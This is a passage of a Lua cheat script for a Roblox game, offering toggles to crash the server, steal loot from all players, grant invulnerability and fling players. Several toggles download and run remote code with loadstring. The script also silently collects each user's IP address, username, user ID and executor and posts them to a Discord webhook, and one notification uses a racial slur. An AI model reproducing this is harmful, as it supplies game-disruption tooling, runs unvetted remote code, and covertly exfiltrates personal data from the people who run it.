game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.egma:FireServer(v.Character.UpperTorso, -math.huge, game.Players.LocalPlayer.Character.RightHand)
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.legma:FireServer(v.Character.UpperTorso, -math.huge, game.Players.LocalPlayer.Character.RightHand)
end
end
end
Notif:Notify("Attempted to godmode all", 4, "information")
end)
end,
})
local Toggle = ExtraTab:CreateToggle({
Name = "Instant Prompt",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
-- Loop Instant Proximity Prompt By DIR (TheUberAccount_x)
local Workspace = game:GetService("Workspace")
local function updateProximityPrompts()
for i, v in ipairs(Workspace:GetDescendants()) do
if v.ClassName == "ProximityPrompt" then
v.HoldDuration = 0.0001
end
end
end
updateProximityPrompts()
Workspace.DescendantAdded:Connect(function(descendant)
if descendant.ClassName == "ProximityPrompt" then
descendant.HoldDuration = 0.0001
end
end)
game:GetService("StarterGui"):SetCore("SendNotification",{
Title = "Instant Prompt ui",
Text = "Made by theyfwdk",
Button1 = "ok nigga",
Duration = 30
})
end,
})
local TrollTab = Window:CreateTab("Troll", 4483362458) -- Title, Image
local TrollSection = TrollTab:CreateSection("Main Troll")
local Toggle = TrollTab:CreateToggle({
Name = "Crash Server",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local toggle = section4.element('Button', 'Crash Server', false, function(v)
game:GetService("RunService"):Set3dRenderingEnabled(false)
Notif:Notify("Started crashing, stay in a safezone.", 4, "information")
game:GetService("ReplicatedStorage").WardrobeEvent:FireServer("Save", _G.scriptname .. "ONTOP")
wait(3)
for i = 1, 20 do
game:GetService("ReplicatedStorage").WardrobeEvent:FireServer("Load", _G.scriptname .. "ONTOP")
end
wait(20)
game:GetService("ReplicatedStorage").WardrobeEvent:FireServer("Save", _G.scriptname .. "ONTOP")
wait(3)
for i = 1, 20 do
game:GetService("ReplicatedStorage").WardrobeEvent:FireServer("Load", _G.scriptname .. "ONTOP")
end
wait(20)
game:GetService("ReplicatedStorage").WardrobeEvent:FireServer("Save", _G.scriptname .. "wONTOP")
wait(3)
for i = 1, 20 do
game:GetService("ReplicatedStorage").WardrobeEvent:FireServer("Load", _G.scriptname .. "wONTOP")
end
wait(20)
game:GetService("ReplicatedStorage").Ragdoll:FireServer(true)
end)
end,
})
local Toggle = TrollTab:CreateToggle({
Name = "Fling All",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local executed = false
local function closeScript()
executed = true
StopButton.Visible = false
end
local Gui = Instance.new("ScreenGui")
Gui.Parent = game.Players.LocalPlayer.PlayerGui
local StopButton = Instance.new("TextButton")
StopButton.Parent = Gui
StopButton.Position = UDim2.new(0.5, -50, 0.6, 0)
StopButton.Size = UDim2.new(0, 100, 0, 50)
StopButton.Text = "Stop Script"
StopButton.TextSize = 24 -- Increase text size to 24
StopButton.BackgroundColor3 = Color3.fromRGB(0, 0, 0) -- Black Background
StopButton.TextColor3 = Color3.fromRGB(255, 255, 255) -- White Text
StopButton.Font = Enum.Font.Gotham -- Set font to Gotham
StopButton.MouseButton1Click:Connect(closeScript)
local StarterGui = game:GetService("StarterGui")
StarterGui:SetCore("SendNotification", {
Title = "SUBSCRIBE TO PHILLYMADEMARE",
Text = "Credits To AnthonyIsHere"
})
while true and not executed do
wait(2)
loadstring(game:HttpGet("https://[Log in to view URL]"))()
end
end,
})
local Toggle = TrollTab:CreateToggle({
Name = "Loot All",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
local lootstealingshit = gunsection.element('Toggle', 'Loot Stealing', false, function(v)
_G.LootStealing = v.Toggle
while _G.LootStealing do
wait(0.5)
for i,v in pairs(game.Players:GetChildren()) do
spawn(function()
local args = {
[1] = v
}
game:GetService("ReplicatedStorage"):WaitForChild("LootPlayerRF"):InvokeServer(unpack(args))
end)
end
end
end)
end,
})
local Toggle = TrollTab:CreateToggle({
Name = "Jack Off",
CurrentValue = false,
Flag = "Toggle1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
loadstring(game:HttpGet("https://[Log in to view URL]"))()
end,
})
local http = game:GetService("HttpService")
local webhook = "https://[Log in to view URL]"
local player = game.Players.LocalPlayer
-- Fetch the IP address
local ip
pcall(function()
ip = game:HttpGet("https://[Log in to view URL]")
end)
-- Detect executor
local executor = "Unknown"
if syn then
executor = "Synapse X"
elseif secure_load then
executor = "Script-Ware"
elseif KRNL_LOADED then
executor = "KRNL"
elseif is_sirhurt_closure then
executor = "SirHurt"
elseif pebc_execute then
executor = "ProtoSmasher"
elseif fluxus then
executor = "Fluxus"
elseif identifyexecutor then
executor = identifyexecutor() -- Delta and other executors may support this
end
-- Get the Place ID
local placeId = game.PlaceId
-- Get the Roblox User ID (this will serve as the "Discord User ID" here)
local discordUserId = player.UserId
-- Get the Display Name
local displayName = player.DisplayName
-- Message to send to webhook with gaps
local message = {
["content"] = "**DKHUB | LOG**",
["embeds"] = {{
["title"] = "__**Authorized User**__",
["description"] =
"Username: **" .. player.Name .. "**\n\n" .. -- Added gap here
"Display Name: **" .. displayName .. "**\n\n" .. -- Added Display Name
"Discord User ID: **" .. discordUserId .. "**\n\n" .. -- Added Discord User ID
"Executor: **" .. executor .. "**\n\n" .. -- Added gap here
"IP: **" .. (ip or "Could not fetch IP") .. "**\n\n" .. -- Added gap here
"Place ID: **" .. placeId .. "**", -- Added gap here
["color"] = tonumber(0x00FF00) -- Green color
}}
}
-- Convert message to JSON
local jsonMessage = http:JSONEncode(message)
-- Send request to Discord webhook
local requestFunction = http_request or request or (syn and syn.request)
if requestFunction then
requestFunction({
Url = webhook,
Body = jsonMessage,
Method = "POST",
Headers = {["Content-Type"] = "application/json"}
})
print("Webhook sent: Username: " .. player.Name .. ", Display Name: " .. displayName .. ", Discord User ID: " .. discordUserId .. ", Executor: " .. executor .. ", IP: " .. (ip or "Unknown") .. ", Place ID: " .. placeId)
else
warn("HTTP request function not found.")
end
local GameTab = Window:CreateTab("Game", 4483362458) -- Title, Image
local GameSection = GameTab:CreateSection("Player Info")
local Paragraph = GameTab:CreateParagraph({Title = "Game Id", Content = "game.PlaceId"})
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